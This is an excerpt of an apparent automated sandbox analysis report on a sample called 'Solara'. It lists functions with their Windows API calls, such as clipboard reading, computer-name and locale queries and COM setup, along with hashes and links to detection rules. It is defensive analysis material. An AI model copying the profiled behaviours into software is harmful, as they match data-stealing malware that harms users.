CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 0040C6A2

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: 4e4955ddf3c0dacb34b5ac51785b67f41da4ac51f2eb30ab2d0209acdaafa15e
Instruction ID: 227358003f482ced3314481a5ade621542edaed12b629aad8eaacabb3c97592d
Opcode Fuzzy Hash: 4e4955ddf3c0dacb34b5ac51785b67f41da4ac51f2eb30ab2d0209acdaafa15e
Instruction Fuzzy Hash: 7EE067383C83017AF6B85754ED17F1536159BC6F22F744314F3227E6E985E03101450D

Function 0042C498 Relevance: 1.6, APIs: 1, Instructions: 114COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042C57C

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 37add48e1ef10fcb190b5233ab59b0fa1c0e4beaee5043c08eb7b8298cde4620
Instruction ID: 24ad2c4c1fcff2d921dcfefc0f3ddedc8dfffaf2f729866455c6990b84e8526e
Opcode Fuzzy Hash: 37add48e1ef10fcb190b5233ab59b0fa1c0e4beaee5043c08eb7b8298cde4620
Instruction Fuzzy Hash: C4313A712056528BD729CF29C850776F7E2EFD6305728C69EC0C69B386CB39A843CB60

Function 0042C493 Relevance: 1.6, APIs: 1, Instructions: 92COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000005,?,?), ref: 0042C57C

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: 661c60d2f2737ba41bd0a79f45d99b313c697334d4a74aae7309d140d6149f28
Instruction ID: 8dce8de0a14591cc6a2b4b473347fac9497e417a88c568a702fc0cc16cba4c19
Opcode Fuzzy Hash: 661c60d2f2737ba41bd0a79f45d99b313c697334d4a74aae7309d140d6149f28
Instruction Fuzzy Hash: 632101752016418BD729CF29C8506B6B7E2AFDA306728CA9DC4869B795CB35B802CB50

Function 0043CCF7 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CD63

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: ed456f484e448e84512b378b5afe5f3e150082cf8148f39e6e46284216517408
Instruction ID: faab2df719c4861cf6076a9a06914b2a6fd7b03f7746ad1fffe8a6b2c1f1a3f7
Opcode Fuzzy Hash: ed456f484e448e84512b378b5afe5f3e150082cf8148f39e6e46284216517408
Instruction Fuzzy Hash: E6F0AFF9E015018FC708DB65D8A257A7F71AB4E201B14547DE293D7292CA3C9402CB58

Function 00431D0D Relevance: 1.5, APIs: 1, Instructions: 42COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431CD9

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: 1c6120414680557c1d63ac547c37c3c3d77819447900f90564d1abe17a814bb7
Instruction ID: ab97724c96284eb61b34534b8364b478ea508967f008a032bc8576df3c15567f
Opcode Fuzzy Hash: 1c6120414680557c1d63ac547c37c3c3d77819447900f90564d1abe17a814bb7
Instruction Fuzzy Hash: 6C115EB551D3818FD715DF34C4A875ABBF0AF8A304F05485EE4818B295D7759908CB82

Function 0043CAD0 Relevance: 1.5, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000,?,?,?,?,0040B2E3,00000000,00000001), ref: 0043CB02

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: edb15e3ab90b45a8af29d8649835adf509376766f5d68a38b365d68a68e386aa
Instruction ID: 5d969644212806e3c3bf252d86614acb20f9660ae6417efe77807246ee15235b
Opcode Fuzzy Hash: edb15e3ab90b45a8af29d8649835adf509376766f5d68a38b365d68a68e386aa
Instruction Fuzzy Hash: 12F0E975504512DBC2011B257D02B4F3678DF8A355F06087AF41452116FB39E8018A9B

Function 00431C8B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 00431CD9

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: ee497ceb5c9214244585d267ef41672792a8650c1da29f404235f6a4702f35bd
Instruction ID: 1c87a0e3233254b08153678257ea4086bba042a859ab6da54d410de2b010cd23
Opcode Fuzzy Hash: ee497ceb5c9214244585d267ef41672792a8650c1da29f404235f6a4702f35bd
Instruction Fuzzy Hash: DAF0B7B45093418FE364DF28C5A875BBBF0BBC8304F10891DE4899B390C7B99948CF82

Function 0042FEE7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 0042FF30

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: a5899d0953e9109f7ab2e0181c4d4337840cf80e189a7982ab343853d1550f04
Instruction ID: f02050c71775901e0accb95120e8abc668ee7b6be75ed2390cb8bce01b974d13
Opcode Fuzzy Hash: a5899d0953e9109f7ab2e0181c4d4337840cf80e189a7982ab343853d1550f04
Instruction Fuzzy Hash: 45F0A4B41097018FE305DF29D5A4B1ABBE0AB89304F10885CE4958B3A0C7B5AA48CF82

Function 004371CA Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

GetUserDefaultUILanguage.KERNELBASE ref: 004371F4

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: DefaultLanguageUser
String ID:
API String ID: 95929093-0
Opcode ID: 1c9ba12358e028ce5ad86a6bee88428fd603e8931f10badd6d23c32c8f5edf55
Instruction ID: 5ebb24f99b21f731d26b18476b759c2abbc47ae1acd10b7bb8e930ff00d54a4c
Opcode Fuzzy Hash: 1c9ba12358e028ce5ad86a6bee88428fd603e8931f10badd6d23c32c8f5edf55
Instruction Fuzzy Hash: 73E09274E042118FE704EF79C88149E7BB2AF8A304F91816EE40867315EB316E45CFA2

Function 0040C630 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CoInitializeEx.COMBASE(00000000,00000002), ref: 0040C643

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: cd42a5a4dce87d812f1abf349de20b4594aba43bb79ab66a75b2839703dfa80a
Instruction ID: a4dfa9031c14046a45178540886116698027186f480290ae2639a9c596a04d4c
Opcode Fuzzy Hash: cd42a5a4dce87d812f1abf349de20b4594aba43bb79ab66a75b2839703dfa80a
Instruction Fuzzy Hash: B5D0A7745D41047FD350679DEC47F22771CD787715F800235F663E66D1E9506810C66E

Function 0043CD4F Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 0043CD63

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: ForegroundWindow
String ID:
API String ID: 2020703349-0
Opcode ID: 6dcb1776cee1d153586e14da11da168a4e03c9aef46a2935d1855ad25c1fac8d
Instruction ID: f54c799b3e1d185d6ff0fc883792242feb74c9ed312bb5c290f57c98abefd447
Opcode Fuzzy Hash: 6dcb1776cee1d153586e14da11da168a4e03c9aef46a2935d1855ad25c1fac8d
Instruction Fuzzy Hash: 68E0BDF9A40201AFC744CF95ECA1A2A7361AB4E20AB545469E613D3762DA74A902DA28

Function 0043B000 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,0043CB2F,?,0040B2E3,00000000,00000001), ref: 0043B020

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 6af43694677fd09eafb5c951c265955496afa9d4d45c7c5b027f9f99247e252b
Instruction ID: 61b4f02c34fd151ce91914b35a7c0f80d16b96fee70fed83274fa13f5b0cfbb9
Opcode Fuzzy Hash: 6af43694677fd09eafb5c951c265955496afa9d4d45c7c5b027f9f99247e252b
Instruction Fuzzy Hash: 21D0C931405122EBC6102F19BC15BDB3A989F49731F0B0CA5F400AA0B5C665EC918AD8

Function 0043AFD4 Relevance: 1.5, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043AFE4

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7b9abb57133b60726d1385412c59d9b74094eb8ad81a9789267d73a866c3d0f4
Instruction ID: 80fc8093897b85bacbaa228d6fa313331b2beaa15c845420d8ec3cb35496cb8b
Opcode Fuzzy Hash: 7b9abb57133b60726d1385412c59d9b74094eb8ad81a9789267d73a866c3d0f4
Instruction Fuzzy Hash: E2C04830141310EAD2351B11AC4DFBF3E38AB4BF93F1018A8F51AB40A18B649001AA6E

Function 0043AFE0 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 0043AFE4

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 01b9d4e518351c976bf81a7a65044f0a8b5324ec5c468e100fac1da4fab70dee
Instruction ID: 037b63a8b8360bb05149ba41dbe56120957af011dba793463e955943995801e5
Opcode Fuzzy Hash: 01b9d4e518351c976bf81a7a65044f0a8b5324ec5c468e100fac1da4fab70dee
Instruction Fuzzy Hash: C7A00134145250EAD2651B11AC49B6F3A38AB46F92F1408A8F516A40A18B755441AA6E

Non-executed Functions

Function 00423520 Relevance: 41.1, Strings: 32, Instructions: 1058COMMON

Download Yara Rule

Strings

Jw, xrefs: 00423CB3
H=B?, xrefs: 00423F1B
"e g, xrefs: 00423FB5
WL, xrefs: 00423CA8
!E5G, xrefs: 00423F5D
FG, xrefs: 004244EA
+U-W, xrefs: 00423F89
Ua!c, xrefs: 00423FAA
3M(O, xrefs: 00423F47
3, xrefs: 00423E6F, 00423BE0, 004240A9, 0042392A, 00423C49, 00423E45, 00424060, 004238E0
H7, xrefs: 00423CC9
K)O+, xrefs: 00423EE4
gWcQ, xrefs: 0042420B
^gXa, xrefs: 00424237
9A>C, xrefs: 00423F52
cSm], xrefs: 00424216
Bq, xrefs: 004237BD
g9O;, xrefs: 00423F10
O5Z7, xrefs: 00423F31
v|, xrefs: 00423968
3, xrefs: 004242C6
_mYo, xrefs: 00423F9F
O1M3, xrefs: 00423F26
s!`#, xrefs: 0042386D
ZkHu, xrefs: 00424258
)]*_, xrefs: 00423F73
^oYi, xrefs: 0042424D
;?, xrefs: 00423539
20, xrefs: 00423B4C
zKhU, xrefs: 00424200
de, xrefs: 00423E29
,Q-S, xrefs: 00423F7E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: !E5G$"e g$)]*_$+U-W$,Q-S$3M(O$3$3$9A>C$;?$Bq$FG$H=B?$H7$Jw$K)O+$O1M3$O5Z7$Ua!c$WL$ZkHu$^gXa$^oYi$_mYo$cSm]$de$g9O;$gWcQ$s!`#$v|$zKhU$20
API String ID: 0-3503618729
Opcode ID: ea0e6c53dd85806e701f9ad55394b8e5cd988ebf4a7960e609d8b58b9626ee65
Instruction ID: 6283b065b235d505556243adb6f38be15c390c0914468d957aff8aee918c3b7a
Opcode Fuzzy Hash: ea0e6c53dd85806e701f9ad55394b8e5cd988ebf4a7960e609d8b58b9626ee65
Instruction Fuzzy Hash: C7A251B560C3918BD334CF55D841B9BBAF2FBD6304F04882DD5D99B252DAB48A058B87

Function 00423180 Relevance: 39.9, Strings: 31, Instructions: 1128COMMON

Download Yara Rule

Strings

Jw, xrefs: 00423CB3
H=B?, xrefs: 00423F1B
"e g, xrefs: 00423FB5
WL, xrefs: 00423CA8
!E5G, xrefs: 00423F5D
FG, xrefs: 004244EA
+U-W, xrefs: 00423F89
Ua!c, xrefs: 00423FAA
3M(O, xrefs: 00423F47
3, xrefs: 00423E6F, 00423BE0, 004240A9, 0042392A, 00423C49, 00423E45, 00424060, 004238E0
H7, xrefs: 00423CC9
K)O+, xrefs: 00423EE4
gWcQ, xrefs: 0042420B
^gXa, xrefs: 00424237
9A>C, xrefs: 00423F52
cSm], xrefs: 00424216
Bq, xrefs: 004237BD
g9O;, xrefs: 00423F10
O5Z7, xrefs: 00423F31
v|, xrefs: 00423968
3, xrefs: 004242C6
_mYo, xrefs: 00423F9F
O1M3, xrefs: 00423F26
s!`#, xrefs: 0042386D
ZkHu, xrefs: 00424258
)]*_, xrefs: 00423F73
^oYi, xrefs: 0042424D
20, xrefs: 00423B4C
zKhU, xrefs: 00424200
de, xrefs: 00423E29
,Q-S, xrefs: 00423F7E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: !E5G$"e g$)]*_$+U-W$,Q-S$3M(O$3$3$9A>C$Bq$FG$H=B?$H7$Jw$K)O+$O1M3$O5Z7$Ua!c$WL$ZkHu$^gXa$^oYi$_mYo$cSm]$de$g9O;$gWcQ$s!`#$v|$zKhU$20
API String ID: 0-2304432800
Opcode ID: a7b134c2f0dc2ea3d4469a847659a866cb5ab6c3b7ed4e4ded45045b4059780f
Instruction ID: 476e3c5d567003482c8876f7be28c7c32d5a701307a7bc316dfa7ddc7bd017b9
Opcode Fuzzy Hash: a7b134c2f0dc2ea3d4469a847659a866cb5ab6c3b7ed4e4ded45045b4059780f
Instruction Fuzzy Hash: 34A251B56083918BD334CF15D841B9BBBF2FBC6304F04882DE5D99B252DBB59A058B87

Function 00423680 Relevance: 39.8, Strings: 31, Instructions: 1023COMMON

Download Yara Rule

Strings

Jw, xrefs: 00423CB3
H=B?, xrefs: 00423F1B
"e g, xrefs: 00423FB5
WL, xrefs: 00423CA8
!E5G, xrefs: 00423F5D
FG, xrefs: 004244EA
+U-W, xrefs: 00423F89
Ua!c, xrefs: 00423FAA
3M(O, xrefs: 00423F47
3, xrefs: 00423E6F, 00423BE0, 004240A9, 0042392A, 00423C49, 00423E45, 00424060, 004238E0
H7, xrefs: 00423CC9
K)O+, xrefs: 00423EE4
gWcQ, xrefs: 0042420B
^gXa, xrefs: 00424237
9A>C, xrefs: 00423F52
cSm], xrefs: 00424216
Bq, xrefs: 004237BD
g9O;, xrefs: 00423F10
O5Z7, xrefs: 00423F31
v|, xrefs: 00423968
3, xrefs: 004242C6
_mYo, xrefs: 00423F9F
O1M3, xrefs: 00423F26
s!`#, xrefs: 0042386D
ZkHu, xrefs: 00424258
)]*_, xrefs: 00423F73
^oYi, xrefs: 0042424D
20, xrefs: 00423B4C
zKhU, xrefs: 00424200
de, xrefs: 00423E29
,Q-S, xrefs: 00423F7E

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: !E5G$"e g$)]*_$+U-W$,Q-S$3M(O$3$3$9A>C$Bq$FG$H=B?$H7$Jw$K)O+$O1M3$O5Z7$Ua!c$WL$ZkHu$^gXa$^oYi$_mYo$cSm]$de$g9O;$gWcQ$s!`#$v|$zKhU$20
API String ID: 0-2304432800
Opcode ID: 66150d6f9f32aa66e828b2db73cfe6ede659f70b1d005a5df999f2aeb34ec776
Instruction ID: 07d480bc0cb5211ed9978c09f229c415a34b5a85334edb6a9a948f0f83307101
Opcode Fuzzy Hash: 66150d6f9f32aa66e828b2db73cfe6ede659f70b1d005a5df999f2aeb34ec776
Instruction Fuzzy Hash: 43A250B560C3918BD334CF55E841B9BBBF2FBD6304F04882DD4D99B252DAB49A058B87

Function 0040ACD0 Relevance: 13.0, Strings: 10, Instructions: 457COMMON

Download Yara Rule

Strings

OI, xrefs: 0040AEF5
*w%q, xrefs: 0040AEB9
U/H), xrefs: 0040AE05
!k<u, xrefs: 0040AEAF
W'P!, xrefs: 0040ADF1
N3G=, xrefs: 0040AE23
_Y, xrefs: 0040AF1D
T#\-, xrefs: 0040ADFB
CM, xrefs: 0040AEEB
G A, xrefs: 0040AEE1

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: CM$!k<u$*w%q$N3G=$T#\-$U/H)$W'P!$G A$OI$_Y
API String ID: 0-3497491785
Opcode ID: 6ba449a952caf33b0480fd7f6bd8f0cdf4cf6a13b5107a5dc61e8b4566240a3c
Instruction ID: 6baa709048fc37f4dc64dcadfdb20c2af5d4728195a035124e03ea550994a826
Opcode Fuzzy Hash: 6ba449a952caf33b0480fd7f6bd8f0cdf4cf6a13b5107a5dc61e8b4566240a3c
Instruction Fuzzy Hash: 511237B5200B01CFD3248F25D895757BBF2FB86314F158A2CE5AA8BB90DB79A405CF94

Function 0041608C Relevance: 12.1, Strings: 9, Instructions: 860COMMON

Download Yara Rule

Strings

riA, xrefs: 00416964
D, xrefs: 0041644B
~q, xrefs: 00416175
HN, xrefs: 0041623C
6X^, xrefs: 0041625C
5z, xrefs: 0041616A
~, xrefs: 00416811
*DJ, xrefs: 00416234
FR@a, xrefs: 0041689A

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: *DJ$5z$6X^$D$FR@a$riA$~$~q$HN
API String ID: 0-355965560
Opcode ID: 92e506d3fa21ebba47adcaa3c809938fcfe6e50985f5d592aea4614274bdc6bf
Instruction ID: 6afc8d414a6b5a7e11aefce25dc235c7a956958d450dc9bc8f61e015338e6f48
Opcode Fuzzy Hash: 92e506d3fa21ebba47adcaa3c809938fcfe6e50985f5d592aea4614274bdc6bf
Instruction Fuzzy Hash: 203204742083419FE7248F24C891BABB7E1FF86314F15896DE4C65B3A2D338D945CB9A

Function 0041CE00 Relevance: 12.1, Strings: 9, Instructions: 849COMMON

Download Yara Rule

Strings

N()/, xrefs: 0041CFE6
YZ]g, xrefs: 0041D16F
U(, xrefs: 0041D1E9
LwLz, xrefs: 0041D157
ad|;, xrefs: 0041CFF6
`nXZ, xrefs: 0041D137
RRBy, xrefs: 0041D14F
`IKW, xrefs: 0041D1DE
hegq, xrefs: 0041D1A7

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: LwLz$N()/$RRBy$U($YZ]g$`IKW$`nXZ$ad|;$hegq
API String ID: 0-168236137
Opcode ID: 1345aa52a7f8b16bd96f3e6fda049f910b270f8dfa6eb1c258dfd90525c372db
Instruction ID: 0e4cbd198706b047ea49ea4d5f4520122aa2f683c7acf1c11bf3608a309aef14
Opcode Fuzzy Hash: 1345aa52a7f8b16bd96f3e6fda049f910b270f8dfa6eb1c258dfd90525c372db
Instruction Fuzzy Hash: 4052367590C3508FC721DF25C8807ABBBE2AF95314F188A6DE4E48B392D739D846CB56

Function 00221287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0021C16A: GetLastError.KERNEL32(00000000,?,0021E58D), ref: 0021C16E
Part of subcall function 0021C16A: SetLastError.KERNEL32(00000000,?,?,00000028,00218363), ref: 0021C210

GetUserDefaultLCID.KERNEL32 ref: 0022138F
IsValidCodePage.KERNEL32(00000000), ref: 002213CD
IsValidLocale.KERNEL32(?,00000001), ref: 002213E0
GetLocaleInfoW.KERNEL32(?,00001001,?,00000040,?,?,00000055,00000000,?,?,00000055,00000000), ref: 00221428
GetLocaleInfoW.KERNEL32(?,00001002,?,00000040), ref: 00221443

Strings

,K#, xrefs: 0022133C

Memory Dump Source

Source File: 00000002.00000002.2897717138.0000000000201000.00000020.00000001.01000000.00000003.sdmp, Offset: 00200000, based on PE: true

Associated: 00000002.00000002.2897692347.0000000000200000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897741148.000000000022D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897758044.000000000023A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897773153.000000000023F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897787717.0000000000242000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2897816136.000000000028D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_200000_Solara.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K#
API String ID: 415426439-2147254570
Opcode ID: 77c4969462cfeeee32d25a8ed9a8a30fc6a4d9df8aa9bb7b78ea8537e0461e9d
Instruction ID: c7cec249ae6ad7e6a2d3a557c8e00f1617d83168ccf281d5728ee3c35070f39d
Opcode Fuzzy Hash: 77c4969462cfeeee32d25a8ed9a8a30fc6a4d9df8aa9bb7b78ea8537e0461e9d
Instruction Fuzzy Hash: 59516071A20226BBDB20EFE5EC45EBE77B9AF25700F144465F905E7190E7709A70CB60

Function 00409650 Relevance: 10.4, Strings: 8, Instructions: 352COMMON

Download Yara Rule

Strings

Z[, xrefs: 00409947
C, xrefs: 00409861
xd, xrefs: 0040989F
j5, xrefs: 004098AF
8B6B958200870298D0F23BE3BFA4D7B0, xrefs: 004096EC
551', xrefs: 004096D5, 004097C0, 004096E6, 00409785
wr, xrefs: 004098A7
551', xrefs: 00409875

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID:
String ID: 551'$551'$8B6B958200870298D0F23BE3BFA4D7B0$C$Z[$j5$wr$xd
API String ID: 0-996308183
Opcode ID: b3b8b64a22676f866b28c0f32f553feae2ec4960764cf6cf2fd47c979abda352
Instruction ID: 2bbbb439c78aaedf88cd82d2d06490bbb060edba9d361b7190003986e3ceddc9
Opcode Fuzzy Hash: b3b8b64a22676f866b28c0f32f553feae2ec4960764cf6cf2fd47c979abda352
Instruction Fuzzy Hash: 0DB1F5B560C3408FD318DF66C89166BBBE5EFD2314F14892DE5D29B382D7388509CB5A

Function 004331A0 Relevance: 9.1, APIs: 6, Instructions: 141clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 004331C2
GetClipboardData.USER32 ref: 004331E7
GlobalLock.KERNEL32 ref: 00433204
GlobalUnlock.KERNEL32 ref: 0043335A
CloseClipboard.USER32 ref: 00433362

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2897830622.0000000000452000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_Solara.jbxd

Similarity

API ID: Clipboard$Global$CloseDataLockOpenUnlock
String ID:
API String ID: 1006321803-0
Opcode ID: 4ecb37a96011bde20fcc7645bdc0b0f50f92a64914741eb937a6dbf712b64e30
Instruction ID: 81169a2a45bd25296fe3fa0d69fb8e9818515738a99f594ce1d4db5ab70cb8aa
Opcode Fuzzy Hash: 4ecb37a96011bde20fcc7645bdc0b0f50f92a64914741eb937a6dbf712b64e30
Instruction Fuzzy Hash: 325108B1D08B528FD700AFBC994936EBFA0AB06320F04873EE8A5976C1D378955587D7

Function 00426150 Relevance: 8.9, Strings: 7, Instructions: 184COMMON

Download Yara Rule

Strings

*(, xrefs: 0042688B
64, xrefs: 00426896
K,W", xrefs: 00426A01
# , xrefs: 00426A0C
><, xrefs: 004268AC
v{B, xrefs: 00426AA5, 00426AAB
p, xrefs: 004269B4

Memory Dump Source

Source File: 00000002.00000002.2897830622.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

